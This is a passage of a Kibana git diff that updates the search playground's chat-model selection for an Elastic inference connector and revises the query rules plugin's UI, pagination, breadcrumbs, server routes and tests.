expect(QuestionRewritePrompt).toHaveBeenCalledWith({ + type: 'anthropic', + }); + expect(inference.getChatModel).toHaveBeenCalledWith({ + request, + connectorId: 'elastic-llm', + chatModelOptions: expect.objectContaining({ + model: elasticModelIds.RainbowSprinkles, + maxRetries: 0, + }), + }); + }); + + it('it returns provided model with EIS connector', async () => { + const mockConnector = { + id: 'elastic-llm', + actionTypeId: INFERENCE_CONNECTOR_ID, + config: { + providerConfig: { + model_id: elasticModelIds.RainbowSprinkles, + }, + }, + }; + mockActionsClient.get.mockResolvedValue(mockConnector); + + const result = await getChatParams( + { + connectorId: 'elastic-llm', + model: 'foo-bar', + prompt: 'How does it work?', + citations: false, + }, + { actions, request, logger, inference } + ); + + expect(result).toMatchObject({ + summarizationModel: 'foo-bar', + }); + + expect(inference.getChatModel).toHaveBeenCalledWith({ + request, + connectorId: 'elastic-llm', + chatModelOptions: expect.objectContaining({ + model: 'foo-bar', + maxRetries: 0, + }), + }); + }); }); diff --git a/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.ts b/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.ts index 07f8ee544382f..a4529d2535df6 100644 --- a/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.ts +++ b/x-pack/solutions/search/plugins/search_playground/server/lib/get_chat_params.ts @@ -15,7 +15,9 @@ import { BaseLanguageModel } from '@langchain/core/language_models/base'; import type { Connector } from '@kbn/actions-plugin/server/application/connector/types'; import { getDefaultArguments } from '@kbn/langchain/server'; import type { InferenceServerStart } from '@kbn/inference-plugin/server'; + import { Prompt, QuestionRewritePrompt } from '../../common/prompt'; +import { isEISConnector } from '../utils/eis'; export const getChatParams = async ( { @@ -39,32 +41,42 @@ export const getChatParams = async ( chatPrompt: string; questionRewritePrompt: string; connector: Connector; + summarizationModel?: string; }> => { + let summarizationModel = model; const actionsClient = await actions.getActionsClientWithRequest(request); const connector = await actionsClient.get({ id: connectorId }); let llmType: string; let modelType: 'openai' | 'anthropic' | 'gemini'; - switch (connector.actionTypeId) { - case INFERENCE_CONNECTOR_ID: - llmType = 'inference'; - modelType = 'openai'; - break; - case OPENAI_CONNECTOR_ID: - llmType = 'openai'; - modelType = 'openai'; - break; - case BEDROCK_CONNECTOR_ID: - llmType = 'bedrock'; - modelType = 'anthropic'; - break; - case GEMINI_CONNECTOR_ID: - llmType = 'gemini'; - modelType = 'gemini'; - break; - default: - throw new Error(`Invalid connector type: ${connector.actionTypeId}`); + if (isEISConnector(connector)) { + llmType = 'bedrock'; + modelType = 'anthropic'; + if (!summarizationModel && connector.config?.providerConfig?.model_id) { + summarizationModel = connector.config?.providerConfig?.model_id; + } + } else { + switch (connector.actionTypeId) { + case INFERENCE_CONNECTOR_ID: + llmType = 'inference'; + modelType = 'openai'; + break; + case OPENAI_CONNECTOR_ID: + llmType = 'openai'; + modelType = 'openai'; + break; + case BEDROCK_CONNECTOR_ID: + llmType = 'bedrock'; + modelType = 'anthropic'; + break; + case GEMINI_CONNECTOR_ID: + llmType = 'gemini'; + modelType = 'gemini'; + break; + default: + throw new Error(`Invalid connector type: ${connector.actionTypeId}`); + } } const chatPrompt = Prompt(prompt, { @@ -81,7 +93,7 @@ export const getChatParams = async ( request, connectorId, chatModelOptions: { - model: model || connector?.config?.defaultModel, + model: summarizationModel || connector?.config?.defaultModel, temperature: getDefaultArguments(llmType).temperature, // prevents the agent from retrying on failure // failure could be due to bad connector, we should deliver that result to the client asap @@ -90,5 +102,11 @@ export const getChatParams = async ( }, }); - return { chatModel, chatPrompt, questionRewritePrompt, connector }; + return { + chatModel, + chatPrompt, + questionRewritePrompt, + connector, + summarizationModel: summarizationModel || connector?.config?.defaultModel, + }; }; diff --git a/x-pack/solutions/search/plugins/search_playground/server/routes.ts b/x-pack/solutions/search/plugins/search_playground/server/routes.ts index 0e7adeee9ae9c..fb56094cb1494 100644 --- a/x-pack/solutions/search/plugins/search_playground/server/routes.ts +++ b/x-pack/solutions/search/plugins/search_playground/server/routes.ts @@ -125,15 +125,16 @@ export function defineRoutes(routeOptions: DefineRoutesOptions) { es_client: client.asCurrentUser, }); const { messages, data } = request.body; - const { chatModel, chatPrompt, questionRewritePrompt, connector } = await getChatParams( - { - connectorId: data.connector_id, - model: data.summarization_model, - citations: data.citations, - prompt: data.prompt, - }, - { actions, inference, logger, request } - ); + const { chatModel, chatPrompt, questionRewritePrompt, connector, summarizationModel } = + await getChatParams( + { + connectorId: data.connector_id, + model: data.summarization_model, + citations: data.citations, + prompt: data.prompt, + }, + { actions, inference, logger, request } + ); let sourceFields: ElasticsearchRetrieverContentField; @@ -144,7 +145,7 @@ export function defineRoutes(routeOptions: DefineRoutesOptions) { throw Error(e); } - const model = MODELS.find((m) => m.model === data.summarization_model); + const model = MODELS.find((m) => m.model === summarizationModel); const modelPromptLimit = model?.promptTokenLimit; const chain = ConversationalChain({ @@ -167,7 +168,7 @@ export function defineRoutes(routeOptions: DefineRoutesOptions) { connectorType: connector.actionTypeId + (connector.config?.apiProvider ? `-${connector.config.apiProvider}` : ''), - model: data.summarization_model ?? '', + model: summarizationModel ?? '', isCitationsEnabled: data.citations, }); diff --git a/x-pack/solutions/search/plugins/search_playground/server/utils/eis.ts b/x-pack/solutions/search/plugins/search_playground/server/utils/eis.ts new file mode 100644 index 0000000000000..e3579a07374b7 --- /dev/null +++ b/x-pack/solutions/search/plugins/search_playground/server/utils/eis.ts @@ -0,0 +1,19 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { INFERENCE_CONNECTOR_ID } from '@kbn/stack-connectors-plugin/common/inference/constants'; +import type { Connector } from '@kbn/actions-plugin/server/application/connector/types'; +import { elasticModelIds } from '@kbn/inference-common'; + +export const isEISConnector = (connector: Connector) => { + if (connector.actionTypeId !== INFERENCE_CONNECTOR_ID) return false; + const modelId = connector.config?.providerConfig?.model_id ?? undefined; + if (modelId === elasticModelIds.RainbowSprinkles) { + return true; + } + return false; +}; diff --git a/x-pack/solutions/search/plugins/search_query_rules/kibana.jsonc b/x-pack/solutions/search/plugins/search_query_rules/kibana.jsonc index 3146b2c38688b..11640ccb81c0a 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/kibana.jsonc +++ b/x-pack/solutions/search/plugins/search_query_rules/kibana.jsonc @@ -16,6 +16,7 @@ "features", ], "optionalPlugins": [ + "cloud", "console", "searchNavigation", "share", diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/components/overview/overview.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/components/overview/overview.tsx index 0de2c2866e38e..91d0aac8bf219 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/components/overview/overview.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/components/overview/overview.tsx @@ -33,10 +33,12 @@ import { CreateRulesetModal } from './create_ruleset_modal'; import { QueryRulesPageTemplate } from '../../layout/query_rules_page_template'; import { useUsageTracker } from '../../hooks/use_usage_tracker'; import { AnalyticsEvents } from '../../analytics/constants'; +import { useQueryRulesBreadcrumbs } from '../../hooks/use_query_rules_breadcrumbs'; export const QueryRulesOverview = () => { const usageTracker = useUsageTracker(); const { colorMode } = useEuiTheme(); + useQueryRulesBreadcrumbs(); const { data: queryRulesData, isInitialLoading, isError, error } = useFetchQueryRulesSets(); const [isCreateModalVisible, setIsCreateModalVisible] = useState(false); diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/delete_ruleset_modal.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/delete_ruleset_modal.tsx index 1b6aaa8457fd1..3d95bcf4ca876 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/delete_ruleset_modal.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/delete_ruleset_modal.tsx @@ -76,6 +76,7 @@ export const DeleteRulesetModal = ({ { setChecked(e.target.checked); diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/query_rules_sets.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/query_rules_sets.tsx index 729a650ceb647..e7c7c495eeee1 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/query_rules_sets.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_rules_sets/query_rules_sets.tsx @@ -40,7 +40,7 @@ export const QueryRulesSets = () => { const [rulesetToDelete, setRulesetToDelete] = useState(null); const { queryRulesSetsFilteredData, pagination } = useQueryRulesSetsTableData( - queryRulesData?.data, + queryRulesData, searchKey, pageIndex, pageSize @@ -132,6 +132,7 @@ export const QueryRulesSets = () => { icon: 'trash', color: 'danger', type: 'icon', + 'data-test-subj': 'queryRulesSetDeleteButton', isPrimary: true, onClick: (ruleset: QueryRulesListRulesetsQueryRulesetListItem) => { useTracker?.click?.(AnalyticsEvents.deleteRulesetInlineDropdownClicked); diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_detail_panel.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_detail_panel.tsx index c4b54a47b9eeb..2c256c2090748 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_detail_panel.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_detail_panel.tsx @@ -144,7 +144,12 @@ export const QueryRuleDetailPanel: React.FC = ({ setRuleIdToEdit(ruleId); }} tourInfo={tourInfo} - deleteRule={deleteRule} + deleteRule={(ruleId: string) => { + if (setIsFormDirty) { + setIsFormDirty(true); + } + deleteRule?.(ruleId); + }} /> )} diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_draggable_list/delete_ruleset_rule_modal.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_draggable_list/delete_ruleset_rule_modal.tsx index e610cbccfb13b..c57b37d7ab2fa 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_draggable_list/delete_ruleset_rule_modal.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_draggable_list/delete_ruleset_rule_modal.tsx @@ -7,8 +7,9 @@ import React, { useState } from 'react'; -import { EuiCheckbox, EuiConfirmModal, EuiSpacer, useGeneratedHtmlId } from '@elastic/eui'; +import { EuiConfirmModal, EuiText } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; +import { FormattedMessage } from '@kbn/i18n-react'; export interface DeleteRulesetRuleModalProps { closeDeleteModal: () => void; @@ -27,10 +28,6 @@ export const DeleteRulesetRuleModal = ({ onSuccessAction(); } }; - const confirmCheckboxId = useGeneratedHtmlId({ - prefix: 'confirmCheckboxId', - }); - const [checked, setChecked] = useState(false); const deleteOperation = () => { setIsLoading(true); @@ -50,23 +47,17 @@ export const DeleteRulesetRuleModal = ({ confirmButtonText={i18n.translate('xpack.queryRules.deleteRulesetRuleModal.confirmButton', { defaultMessage: 'Delete rule', })} - confirmButtonDisabled={checked === false} buttonColor="danger" isLoading={isLoading} > - {i18n.translate('xpack.queryRules.deleteRulesetRuleModal.body', { - defaultMessage: - 'Deleting a rule referenced in a query will result in a broken query. Make sure you have fixed any references to this rule prior to deletion.', - })} - - { - setChecked(e.target.checked); - }} - /> + +

    + +

    +
    ); }; diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_flyout/query_rule_flyout.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_flyout/query_rule_flyout.tsx index 94b9c8acbdf0f..eaa1527706505 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_flyout/query_rule_flyout.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/components/query_ruleset_detail/query_rule_flyout/query_rule_flyout.tsx @@ -119,6 +119,7 @@ export const QueryRuleFlyout: React.FC = ({ onClose={onClose} ownFocus={false} size="l" + data-test-subj="searchQueryRulesQueryRuleFlyout" aria-labelledby="flyoutTitle" css={css({ overflowY: 'hidden', @@ -126,7 +127,7 @@ export const QueryRuleFlyout: React.FC = ({ > - + = ({ /> - + void; @@ -40,19 +44,48 @@ export const QueryRuleMetadataEditor: React.FC = ( const [metadataField, setMetadataField] = useState(criteria.metadata || ''); return ( - + + + + + + + + + + + + + } isInvalid={!!error?.metadata} error={error?.metadata ? error.metadata.message : undefined} + isDisabled={criteria.type === 'always'} > = ( /> - + = ( + + + + + + + + + + + + } isInvalid={!!error?.values} + isDisabled={criteria.type === 'always'} error={error?.values ? error.values.message : undefined} > = ({ createMo const { rulesetId = '' } = useParams<{ rulesetId?: string; }>(); + useQueryRulesBreadcrumbs(rulesetId); const { data: rulesetExists, isLoading: isFailsafeLoading } = useFetchQueryRulesetExist(rulesetId); const useTracker = useUsageTracker(); @@ -173,6 +175,7 @@ export const QueryRulesetDetail: React.FC = ({ createMo `} key="delete" icon="trash" + disabled={createMode || isInitialLoading} onClick={() => setRulesetToDelete(rulesetId)} data-test-subj="queryRulesetDetailDeleteButton" > @@ -240,6 +243,7 @@ export const QueryRulesetDetail: React.FC = ({ createMo })} ), + 'data-test-subj': 'queryRulesetDetailBackButton', color: 'primary', 'aria-current': false, onClick: () => { @@ -358,7 +362,7 @@ export const QueryRulesetDetail: React.FC = ({ createMo color="primary" data-test-subj="queryRulesetDetailHeaderSaveButton" onClick={handleSave} - disabled={!isFormDirty || isInitialLoading} + disabled={!isFormDirty || isInitialLoading || rules.length === 0} > = ({ createMo id={splitButtonPopoverActionsId} button={ ) => +export const QueryRuleFlyoutPanel = css({ + height: '100%', +}); + +export const QueryRuleFlyoutRightPanel = (theme: EuiThemeComputed<{}>) => css({ - height: '100%', + borderLeft: `1px solid ${theme.colors.lightShade}`, }); diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_breadcrumbs.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_breadcrumbs.tsx new file mode 100644 index 0000000000000..6c4a45c8eb866 --- /dev/null +++ b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_breadcrumbs.tsx @@ -0,0 +1,63 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { useEffect } from 'react'; +import { i18n } from '@kbn/i18n'; +import { reactRouterNavigate } from '@kbn/kibana-react-plugin/public'; +import { useKibana } from './use_kibana'; + +const QUERY_RULES_BREADCRUMB_TEXT = i18n.translate( + 'xpack.searchQueryRules.breadcrumbs.queryRules', + { + defaultMessage: 'Query Rules', + } +); + +export const useQueryRulesBreadcrumbs = (rulesetId?: string) => { + const { searchNavigation, history, cloud } = useKibana().services; + const isServerless = cloud?.isServerlessEnabled ?? false; + + useEffect(() => { + if (!isServerless) { + searchNavigation?.breadcrumbs.setSearchBreadCrumbs([ + { + text: i18n.translate('xpack.searchQueryRules.breadcrumbs.relevance', { + defaultMessage: 'Relevance', + }), + }, + ...(rulesetId && rulesetId.trim().length > 0 + ? [ + { + text: QUERY_RULES_BREADCRUMB_TEXT, + ...reactRouterNavigate(history, '/'), + }, + { + text: rulesetId, + }, + ] + : [ + { + text: QUERY_RULES_BREADCRUMB_TEXT, + }, + ]), + ]); + } else { + if (rulesetId && rulesetId.trim().length > 0) { + searchNavigation?.breadcrumbs.setSearchBreadCrumbs([ + { + text: rulesetId, + }, + ]); + } + } + + return () => { + // Clear breadcrumbs on unmount; + searchNavigation?.breadcrumbs.clearBreadcrumbs(); + }; + }, [searchNavigation, history, rulesetId, isServerless]); +}; diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.test.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.test.tsx index ef38539517ebc..e2653f13eb2f6 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.test.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.test.tsx @@ -7,33 +7,46 @@ import { renderHook } from '@testing-library/react'; import { useQueryRulesSetsTableData } from './use_query_rules_sets_table_data'; +import { QueryRulesListRulesetsQueryRulesetListItem } from '@elastic/elasticsearch/lib/api/types'; +import { DEFAULT_PAGE_VALUE, Paginate } from '../../common/pagination'; + +const generateMockRulesetData = ( + totalCount: number +): Paginate => { + const mockMeta = { + pageIndex: 0, + pageSize: DEFAULT_PAGE_VALUE.size, + totalItemCount: totalCount, + }; + + const emptyArray = new Array(totalCount); + const mockData = emptyArray.fill(0).map((_, index) => { + return { + ruleset_id: `ruleset-${String(index + 1)}`, + rule_total_count: index + 1, + rule_criteria_types_counts: { + exact: Math.floor(Math.random() * 3), + fuzzy: Math.floor(Math.random() * 3), + }, + rule_type_counts: { + pinned: Math.floor(Math.random() * 3), + excluded: Math.floor(Math.random() * 3), + }, + }; + }); -const queryRulesSets = [ - { - ruleset_id: 'ruleset-01', - rule_total_count: 1, - rule_criteria_types_counts: { exact: 1, fuzzy: 0 }, - rule_type_counts: { pinned: 2, excluded: 1 }, - }, - { - ruleset_id: 'ruleset-02', - rule_total_count: 2, - rule_criteria_types_counts: { exact: 1, fuzzy: 1 }, - rule_type_counts: { pinned: 2, excluded: 1 }, - }, - { - ruleset_id: 'ruleset-03', - rule_total_count: 3, - rule_criteria_types_counts: { exact: 1, fuzzy: 2 }, - rule_type_counts: { pinned: 2, excluded: 1 }, - }, -]; + return { + _meta: mockMeta, + data: mockData, + }; +}; describe('useQueryRulesSetsTableData', () => { it('should return correct pagination', () => { // Given a specific pageIndex and pageSize const pageIndex = 1; const pageSize = 3; + const queryRulesSets = generateMockRulesetData(60); // When the hook is called const { result } = renderHook(() => @@ -44,14 +57,15 @@ describe('useQueryRulesSetsTableData', () => { expect(result.current.pagination).toEqual({ pageIndex, pageSize, - totalItemCount: queryRulesSets.length, + totalItemCount: queryRulesSets._meta.totalItemCount, pageSizeOptions: [10, 25, 50], }); }); it('should filter data based on searchKey', () => { + const queryRulesSets = generateMockRulesetData(5); // Given a search term that matches one ruleset - const searchKey = 'ruleset-02'; + const searchKey = 'ruleset-2'; // When the hook is called with that search term const { result } = renderHook(() => @@ -60,13 +74,11 @@ describe('useQueryRulesSetsTableData', () => { // Then only the matching ruleset should be returned expect(result.current.queryRulesSetsFilteredData).toHaveLength(1); - expect(result.current.queryRulesSetsFilteredData[0].ruleset_id).toBe('ruleset-02'); - - // And the pagination should reflect the filtered count - expect(result.current.pagination.totalItemCount).toBe(1); + expect(result.current.queryRulesSetsFilteredData[0].ruleset_id).toBe(searchKey); }); it('should return all data when searchKey is empty', () => { + const queryRulesSets = generateMockRulesetData(5); // Given an empty search term const searchKey = ''; @@ -76,17 +88,20 @@ describe('useQueryRulesSetsTableData', () => { ); // Then all rulesets should be returned - expect(result.current.queryRulesSetsFilteredData).toEqual(queryRulesSets); - expect(result.current.queryRulesSetsFilteredData).toHaveLength(queryRulesSets.length); + expect(result.current.queryRulesSetsFilteredData).toEqual(queryRulesSets.data); + expect(result.current.queryRulesSetsFilteredData).toHaveLength( + queryRulesSets._meta.totalItemCount + ); // And the pagination should reflect the total count - expect(result.current.pagination.totalItemCount).toBe(queryRulesSets.length); + expect(result.current.pagination.totalItemCount).toBe(queryRulesSets._meta.totalItemCount); }); it('should handle pagination correctly', () => { // Given specific pagination parameters const pageIndex = 2; const pageSize = 5; + const queryRulesSets = generateMockRulesetData(20); // When the hook is called const { result } = renderHook(() => @@ -94,13 +109,13 @@ describe('useQueryRulesSetsTableData', () => { ); // Then the filtered data should contain all items - expect(result.current.queryRulesSetsFilteredData).toEqual(queryRulesSets); + expect(result.current.queryRulesSetsFilteredData).toEqual(queryRulesSets.data); // And the pagination should correctly reflect the input parameters expect(result.current.pagination).toEqual({ pageIndex, pageSize, - totalItemCount: queryRulesSets.length, + totalItemCount: queryRulesSets._meta.totalItemCount, pageSizeOptions: [10, 25, 50], }); }); diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.tsx index 676b3b53cb59f..929266af003cc 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_query_rules_sets_table_data.tsx @@ -8,6 +8,7 @@ import { useMemo } from 'react'; import { Pagination } from '@elastic/eui'; import { QueryRulesListRulesetsQueryRulesetListItem } from '@elastic/elasticsearch/lib/api/types'; +import { Paginate } from '../../common/pagination'; interface UseQueryRulesSetsTableDataProps { queryRulesSetsFilteredData: QueryRulesListRulesetsQueryRulesetListItem[]; @@ -15,11 +16,12 @@ interface UseQueryRulesSetsTableDataProps { } export const useQueryRulesSetsTableData = ( - data: QueryRulesListRulesetsQueryRulesetListItem[] | undefined, + endpointData: Paginate | undefined, searchKey: string, pageIndex: number, pageSize: number ): UseQueryRulesSetsTableDataProps => { + const data = endpointData?.data; const queryRulesSetsFilteredData = useMemo(() => { if (!data) return []; return data.filter((item) => item.ruleset_id.toLowerCase().includes(searchKey.toLowerCase())); @@ -29,10 +31,10 @@ export const useQueryRulesSetsTableData = ( () => ({ pageIndex, pageSize, - totalItemCount: queryRulesSetsFilteredData.length, + totalItemCount: endpointData?._meta?.totalItemCount || 0, pageSizeOptions: [10, 25, 50], }), - [queryRulesSetsFilteredData.length, pageIndex, pageSize] + [pageIndex, pageSize, endpointData?._meta?.totalItemCount] ); return { queryRulesSetsFilteredData, pagination }; diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.test.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.test.tsx index fe8da5242f939..9b48ce8549638 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.test.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.test.tsx @@ -154,7 +154,7 @@ describe('UseRunQueryRuleset', () => { criteria: [ { metadata: 'user_query', - values: 'search term', + values: ['search term'], type: 'exact', }, { @@ -174,7 +174,7 @@ describe('UseRunQueryRuleset', () => { const buttonProps = (TryInConsoleButton as jest.Mock).mock.calls[0][0]; expect(buttonProps.request).toContain('"user_query": "search term"'); - expect(buttonProps.request).toMatch(/"user_location":\s*\[\s*"US",\s*"UK"\s*\]/); + expect(buttonProps.request).toMatch(/"user_location":\s*"US"/); }); it('handles complex nested criteria values', () => { @@ -185,7 +185,7 @@ describe('UseRunQueryRuleset', () => { criteria: [ { values: { - nested_field: 'nested value', + nested_field: ['nested value'], another_field: ['array', 'of', 'values'], }, type: 'exact', @@ -202,6 +202,6 @@ describe('UseRunQueryRuleset', () => { const buttonProps = (TryInConsoleButton as jest.Mock).mock.calls[0][0]; expect(buttonProps.request).toContain('"nested_field": "nested value"'); - expect(buttonProps.request).toMatch(/"another_field":\s*\[\s*"array",\s*"of",\s*"values"\s*\]/); + expect(buttonProps.request).toMatch(/"another_field":\s*"array"s*/); }); }); diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.tsx b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.tsx index 94d523ce51713..e35b93eb130a2 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.tsx +++ b/x-pack/solutions/search/plugins/search_query_rules/public/hooks/use_run_query_ruleset.tsx @@ -69,7 +69,7 @@ export const UseRunQueryRuleset = ({ const reducedCriteria = criteriaData.reduce>( (acc, { metadata, values }) => { - if (metadata && values !== undefined) acc[metadata] = values; + if (metadata && values !== undefined) acc[metadata] = values ? values[0] : ''; return acc; }, {} @@ -95,6 +95,7 @@ export const UseRunQueryRuleset = ({ { "retriever": { "rule": { + // Update your criteria to test different results "match_criteria": ${matchCriteria}, "ruleset_ids": [ "${rulesetId}" // An array of one or more unique query ruleset IDs @@ -113,6 +114,7 @@ export const UseRunQueryRuleset = ({ return ( , _: AppPluginSetupDependencies ): SearchQueryRulesPluginSetup { - if (!core.settings.client.get(QUERY_RULES_UI_FLAG, false)) { + if (!core.settings.client.get(QUERY_RULES_UI_FLAG, true)) { return {}; } core.application.register({ diff --git a/x-pack/solutions/search/plugins/search_query_rules/public/types.ts b/x-pack/solutions/search/plugins/search_query_rules/public/types.ts index 0376f756bc472..d8fd1cada5818 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/public/types.ts +++ b/x-pack/solutions/search/plugins/search_query_rules/public/types.ts @@ -10,12 +10,14 @@ import { AppMountParameters, CoreStart } from '@kbn/core/public'; import type { ConsolePluginStart } from '@kbn/console-plugin/public'; import type { SharePluginStart } from '@kbn/share-plugin/public'; import type { UsageCollectionStart } from '@kbn/usage-collection-plugin/public'; +import type { CloudStart } from '@kbn/cloud-plugin/public'; export * from '../common/types'; export interface AppPluginStartDependencies { history: AppMountParameters['history']; console?: ConsolePluginStart; share?: SharePluginStart; + cloud?: CloudStart; searchNavigation?: SearchNavigationPluginStart; usageCollection?: UsageCollectionStart; } diff --git a/x-pack/solutions/search/plugins/search_query_rules/server/lib/put_query_rules_ruleset_set.ts b/x-pack/solutions/search/plugins/search_query_rules/server/lib/put_query_rules_ruleset_set.ts index b3ca8b77bfecb..41720c6332277 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/server/lib/put_query_rules_ruleset_set.ts +++ b/x-pack/solutions/search/plugins/search_query_rules/server/lib/put_query_rules_ruleset_set.ts @@ -14,38 +14,10 @@ import { ElasticsearchClient } from '@kbn/core/server'; export const putRuleset = async ( client: ElasticsearchClient, rulesetId: string, - rules?: QueryRulesQueryRuleset['rules'] + rules: QueryRulesQueryRuleset['rules'] ): Promise => { - if (rules && rules.length > 0) { - return client.queryRules.putRuleset({ - ruleset_id: rulesetId, - rules, - }); - } - // TODO: remove this with updated ruleset creation - // Adding mandatory default "criteria" and "actions" values, we should manage temporary empty values before release return client.queryRules.putRuleset({ ruleset_id: rulesetId, - rules: [ - { - rule_id: 'rule1', - type: 'pinned', - criteria: [ - { - type: 'fuzzy', - metadata: 'query_string', - values: ['puggles', 'pugs'], - }, - ], - actions: { - docs: [ - { - _index: 'my-index-000001', - _id: 'id1', - }, - ], - }, - }, - ], + rules, }); }; diff --git a/x-pack/solutions/search/plugins/search_query_rules/server/routes.ts b/x-pack/solutions/search/plugins/search_query_rules/server/routes.ts index b93e6553a44fd..ab8a8d0006de9 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/server/routes.ts +++ b/x-pack/solutions/search/plugins/search_query_rules/server/routes.ts @@ -146,36 +146,33 @@ export function defineRoutes({ logger, router }: { logger: Logger; router: IRout query: schema.object({ forceWrite: schema.boolean({ defaultValue: false }), }), - // TODO: body is not going to be nullable. It will be fixed in the followup PR - body: schema.nullable( - schema.maybe( - schema.object({ - rules: schema.arrayOf( - schema.object({ - rule_id: schema.string(), - type: schema.string(), - criteria: schema.arrayOf( - schema.object({ - type: schema.string(), - metadata: schema.maybe(schema.string()), - values: schema.maybe(schema.arrayOf(schema.string())), - }) + body: schema.maybe( + schema.object({ + rules: schema.arrayOf( + schema.object({ + rule_id: schema.string(), + type: schema.string(), + criteria: schema.arrayOf( + schema.object({ + type: schema.string(), + metadata: schema.maybe(schema.string()), + values: schema.maybe(schema.arrayOf(schema.string())), + }) + ), + actions: schema.object({ + ids: schema.maybe(schema.arrayOf(schema.string())), + docs: schema.maybe( + schema.arrayOf( + schema.object({ + _id: schema.string(), + _index: schema.string(), + }) + ) ), - actions: schema.object({ - ids: schema.maybe(schema.arrayOf(schema.string())), - docs: schema.maybe( - schema.arrayOf( - schema.object({ - _id: schema.string(), - _index: schema.string(), - }) - ) - ), - }), - }) - ), - }) - ) + }), + }) + ), + }) ), }, }, @@ -201,7 +198,7 @@ export function defineRoutes({ logger, router }: { logger: Logger; router: IRout } const rulesetId = request.params.ruleset_id; const forceWrite = request.query.forceWrite; - const rules = request.body?.rules as QueryRulesQueryRuleset['rules'] | undefined; + const rules = request.body?.rules as QueryRulesQueryRuleset['rules']; const isExisting = await isQueryRulesetExist(asCurrentUser, rulesetId); if (isExisting && !forceWrite) { return response.customError({ diff --git a/x-pack/solutions/search/plugins/search_query_rules/tsconfig.json b/x-pack/solutions/search/plugins/search_query_rules/tsconfig.json index 78bfded065b66..7c6a241b4087e 100644 --- a/x-pack/solutions/search/plugins/search_query_rules/tsconfig.json +++ b/x-pack/solutions/search/plugins/search_query_rules/tsconfig.json @@ -32,6 +32,7 @@ "@kbn/deeplinks-analytics", "@kbn/analytics", "@kbn/usage-collection-plugin", + "@kbn/cloud-plugin", ], "exclude": [ "target/**/*", diff --git a/x-pack/solutions/search/plugins/serverless_search/public/navigation_tree.ts b/x-pack/solutions/search/plugins/serverless_search/public/navigation_tree.ts index beed831e91a65..9da4b3e1146fe 100644 --- a/x-pack/solutions/search/plugins/serverless_search/public/navigation_tree.ts +++ b/x-pack/solutions/search/plugins/serverless_search/public/navigation_tree.ts @@ -8,7 +8,7 @@ import type { AppDeepLinkId, NavigationTreeDefinition } from '@kbn/core-chrome-browser'; import type { ApplicationStart } from '@kbn/core-application-browser'; import { i18n } from '@kbn/i18n'; -import { CONNECTORS_LABEL, 